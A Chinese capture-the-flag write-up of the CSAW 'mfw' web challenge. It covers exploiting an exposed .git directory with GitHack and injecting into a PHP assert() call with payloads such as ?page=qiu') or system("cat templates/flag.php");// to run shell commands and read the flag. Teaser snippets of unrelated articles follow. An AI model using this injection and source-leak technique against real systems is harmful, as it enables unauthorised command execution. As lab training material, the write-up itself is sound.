当前位置: 首页 > news >正文

[CSAW/网络安全] Git泄露+命令执行 攻防世界 mfw 解题详析

Home界面:

在这里插入图片描述
Home界面翻译如下:
欢迎访问我的网站!
我自己从头开始写的!
您可以使用上面的链接浏览页面!


About界面:

在这里插入图片描述
观察到Git,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。
此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。
如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

在这里插入图片描述
由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述
详情参考: [Python/网络安全] Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git
得到文件
在这里插入图片描述

代码审计

其中,index.php文件存在以下代码:

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//传入page参数,如果没有,则设置为home$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容
在这里插入图片描述

构造POC如下:

?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

?page=qiu') or system("cat templates/flag.php");

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

?page=qiu') or system("cat templates/flag.php");//

则语句变为:

assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

在这里插入图片描述

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

相关文章:

[CSAW/网络安全] Git泄露+命令执行 攻防世界 mfw 解题详析

Home界面&#xff1a; Home界面翻译如下&#xff1a; 欢迎访问我的网站&#xff01; 我自己从头开始写的&#xff01; 您可以使用上面的链接浏览页面&#xff01; About界面&#xff1a; 观察到Git&#xff0c;联想Git泄露 Git泄露 Git是一个非常流行的开源分布式版本控制系…...

MySQL 锁那些事

Q1 : MySQL有哪些锁,功能是什么,如何项目中使用?Q2 : 行锁是如何实现的?什么情况下会使用行锁?Q3 : 四种事务隔离形式的行锁有什么不一样?读未提交读提交可重复读串行 Q4 : MySQL 的读写都是怎样加锁的?Q5 : 需要注意什么? Q1 : MySQL有哪些锁,功能是什么,如何项目中使用…...

Linux中常用的基本指令和一些配套的周边知识详解

目录 一些基本指令 一些常用指令 注&#xff1a;配套的周边知识是直接跟在指令的讲解后面的。 补充&#xff1a;(重要) 如何看待这么多指令&#xff1f;&#xff1f;&#xff1f;记不住怎么办&#xff1f;&#xff1f;&#xff1f; 首先&#xff0c;指令不用刻意去记&#xf…...

深入理解Java中的Set集合:特性、用法与常见操作指南

一、HashSet集合 1.HashSet集合的特点 2.HashSet常用方法 ①&#xff1a;add(Object o)&#xff1a;向Set集合中添加元素&#xff0c;不允许添加重复数据。 ②&#xff1a;size()&#xff1a;返回Set集合中的元素个数 ③.remove(Object o)&#xff1a; 删除Set集合中的obj对…...

Oracle 使用 sql profile 固定执行计划

测试使用 sql profile 固定执行计划&#xff1a; Oracle 10g之前有outlines,10g之后 sql profile 。如果针对非绑定变量的sql,outlines则效果不佳&#xff0c;不建议使用 。 1、准备测试用表 SQL> create table zzh_ob as select * from dba_objects; SQL> create inde…...

数字电路期末复习

*前言&#xff1a;*写的东西不太全面&#xff0c;更多的是一个复习大纲&#xff0c;让你发现自己有哪些不懂的问题&#xff08;不懂的地方就去翻书或者问AI&#xff09;&#xff0c;如果能够解决提出的所有问题&#xff0c;那么过期末考一定不是问题。 这里写目录标题 数制和码…...

正则表达式 - 使用总结

正则表达式 - 使用总结 正则表达式(Regular Expression,简称Regex)是一种强大的文本处理工具,它允许我们通过特定的模式(pattern)来搜索、匹配和操作字符串。在编程、数据分析和文本处理等领域,正则表达式发挥着非常重要的作用。本文将总结正则表达式的基本概念、使用方…...

通过Xshell远程连接wsl2

目录 一、WSL网络原理 二、 下载XShell 三、Ubuntu里配置ssh 1.查看是否已经安装SSH 2.安装SSH 3.修改SSH配置 4.重启ssh 5.查看ip 四、在Xshell中链接电脑 五、设置端口转发 1.设置主机端口映射到wsl2的端口 六、防火墙设置开放8989端口 方式一(推荐): 方式二:…...

【ubuntu】安装OpenSSH服务器

参考:https://blog.csdn.net/fanjufei123456/article/details/139264814 要在Ubuntu上使用SSH连接&#xff0c;需要确保系统上安装并运行了SSH服务器。SSH服务器负责接受来自其他计算机的SSH连接请求&#xff0c;并提供对目标系统的访问权限。 在Ubuntu上&#xff0c;默认情况…...

CESS 的 2024:赋能 AI,塑造去中心化数据基础

2024 年是加密与区块链行业的重要转折之年&#xff0c;行业在技术创新、监管明确和实际应用上取得了显著进展。全球范围内&#xff0c;多个国家相继推出加密货币和区块链技术的监管框架&#xff0c;美国的区块链政策峰会推动了关键议题的讨论&#xff0c;欧洲完成了 MiCA 监管的…...

Redission红锁

目录 一、什么是红锁 二、Redission红锁的使用 一、什么是红锁 Redis 的作者 Salvatore Sanfilippo&#xff08;又名 antirez&#xff09;提出的一种基于多个 Redis 实例实现分布式锁的算法。红锁&#xff08;Redlock&#xff09;旨在解决单点故障问题&#xff0c;即当使用单…...

使用 CSS 的 `::selection` 伪元素来改变 HTML 文本选中时的背景颜色

定义 ::selection 伪元素&#xff1a; 在你的 CSS 文件中&#xff0c;添加 ::selection 伪元素&#xff0c;并设置 background-color 属性来改变选中文本的背景颜色。 示例代码&#xff1a; ::selection {background-color: yellow; /* 你可以根据需要更改颜色 */color: black…...

Spring Boot AOP日志打印实现

在 Spring Boot 3.1.12 中使用 AOP 实现日志打印&#xff0c;记录前端传入的参数和后端返回的数据&#xff0c;可以按照以下步骤进行&#xff1a; 添加依赖 首先&#xff0c;确保你的 pom.xml 文件中包含了 Spring AOP 的依赖&#xff1a; <dependency><groupId>…...

Windows远程--如何使用IP访问服务器

1.第一步&#xff1a;在本地按下winR打开运行窗口&#xff0c;输入mstsc 打开window自带的远程桌面组件&#xff0c;在打开的窗口内输入公网ip。 2.第二步&#xff1a;输入远程电脑的登录用户名和密码&#xff0c;即可成功建立连接。...

vscode中设置默认格式化工具pretter

1. 安装 Prettier 插件 打开 VSCode 的扩展市场&#xff08;快捷键 CtrlShiftX 或点击左侧的扩展图标&#xff09;。 搜索并安装 Prettier - Code formatter 插件。 2. 设置 VSCode 使用 Prettier 格式化代码 打开 VSCode 的设置&#xff08;快捷键 Ctrl, 或点击右下角齿轮图标…...

Hadoop、Flink、Spark和Kafka

Hadoop、Flink、Spark和Kafka是大数据处理领域中的四个重要工具&#xff0c;它们在架构、数据处理方式以及性能等方面都存在区别。以下是具体分析&#xff1a; 架构 Hadoop&#xff1a;Hadoop的核心是HDFS&#xff08;Hadoop Distributed File System&#xff09;和MapReduce编…...

APP自动化测试元素定位及隐式等待

元素定位是UI自动化测试中最关键的一步&#xff0c;假如在自动化测试中没有定位到页面中素&#xff0c;也就无法完成对页面的测试操作。那么&#xff0c;我们在自动化测试中如何定位到是要部面元素呢&#xff1f; 下面聊一聊用 Appium 定位元素的方式。 定位页面元素有很多种…...

Element plus 的 upload 组件实现自定义上传

Element Plus 是一个基于 Vue 3 的 UI 组件库&#xff0c;提供了许多常用的 UI 组件。其中&#xff0c;Upload 组件用于文件上传功能。如果你想实现自定义上传逻辑&#xff0c;可以通过 before-upload 和 http-request 属性来实现。 以下是一个简单的示例&#xff0c;展示如何…...

力扣-数据结构-10【算法学习day.81】

前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;建议灵神的题单和代码随想录&#xff09;和记录自己的学习过程&#xff0c;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关…...

WPF的一些控件的触发事件记录

<c1:C1ComboBox Width"230" ItemsSource"{Binding ReplaceWayList}" Style"{StaticResource ListSearch-C1ComboBox}" SelectedValueChanged"C1ComboBox_SelectedValueChanged"&#xff0c; 下拉框事件&#xff0c;值改变事件&a…...

C# 设计模式(创建型模式):建造者模式

C# 设计模式&#xff08;创建型模式&#xff09;&#xff1a;建造者模式 引言 在软件开发中&#xff0c;创建型设计模式主要关注对象的创建方式&#xff0c;其中建造者模式&#xff08;Builder Pattern&#xff09;是非常重要的一种。建造者模式通过一步一步构建一个复杂对象…...

关于模板函数的void返回值的判断:std::is_void与模板特化

int返回值的函数参数测试 #include <iostream> #include <functional>int return_int_func(){std::cout << __func__ << std::endl << std::flush;return 10086; }template<class U> auto CallDeviceMethodShort(std::function<U()&g…...

重现ORA-01555 细说Oracle Undo 数据管理

1. 概述 1.1. Undo 数据应用 undo数据是&#xff1a; 原始的、修改之前的数据副本 是针对更改数据的每个事务处理所捕获的 至少保留到事务处理结束 用于支持&#xff1a; 回退操作 读取一致性查询 闪回查询、闪回事务处理和闪回表 从失败的事务处理中进行恢复 1.2. 事…...

通过blob请求后端导出文件

后端controller PostMapping("/exportPlanProject2")public void exportActive(RequestBody IfPlanListDTO plan, HttpServletResponse httpServletResponse) throws IOException {}后端service public void exportExcel2(HttpServletResponse response) throws IOEx…...

养老院小程序怎么搭建?让老年人老有所养,老有所依!

随着社会老龄化的加剧&#xff0c;养老服务成为一个越来越重要的话题。在这个互联网的时代&#xff0c;养老院也开始拥抱技术&#xff0c;借助小程序的便捷性来改善老年人的居住和生活体验。那么&#xff0c;如何搭建一个适合老年人的养老院小程序呢?本文将从实际操作的角度出…...

【2024美国数学建模AB题原文翻译】

2024 MCM 问题A&#xff1a;资源可用性与性别比例 虽然一些动物物种超出了通常的雄性或雌性性别范畴&#xff0c;但大多数物种要么是雄性要么是雌性。尽管许多物种在出生时展现出1:1的性别比例&#xff0c;其他物种则偏离了这个性别比例&#xff0c;这被称为适应性性别比例变化…...

判断旗帜是否符合ISO新标准

背景介绍 在全球化的背景下&#xff0c;不同国家的旗帜设计需要满足某些国际标准以便于统一化和规范化。ISO&#xff08;国际标准化组织&#xff09;提出了一项新规定&#xff0c;要求国家旗帜在设计时遵循一些规则&#xff0c;特别是棋盘状设计中的颜色分布规则。比如&#x…...

海量数据存储实现方案设计1-mycat版

目的 这里使用mycat为例子说明方案设计思路&#xff08;仅个人学习、思考笔记&#xff09;。主要尝试解决海量数据存储、动态不停机扩容问题&#xff0c;不再受限于单库、单表、单机等。 mycat简述 mycat 主要以中间件代理的方式&#xff0c;不侵入工程代码来实现分库分表&a…...

Elasticsearch检索之三:官方推荐方案search_after检索实现(golang)

Elasticsearch8.17.0在mac上的安装 Kibana8.17.0在mac上的安装 Elasticsearch检索方案之一&#xff1a;使用fromsize实现分页 快速掌握Elasticsearch检索之二&#xff1a;滚动查询(scrool)获取全量数据(golang) 1、search_after检索 在前面的文章介绍了fromsize的普通分页…...

hot100_238. 除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂度…...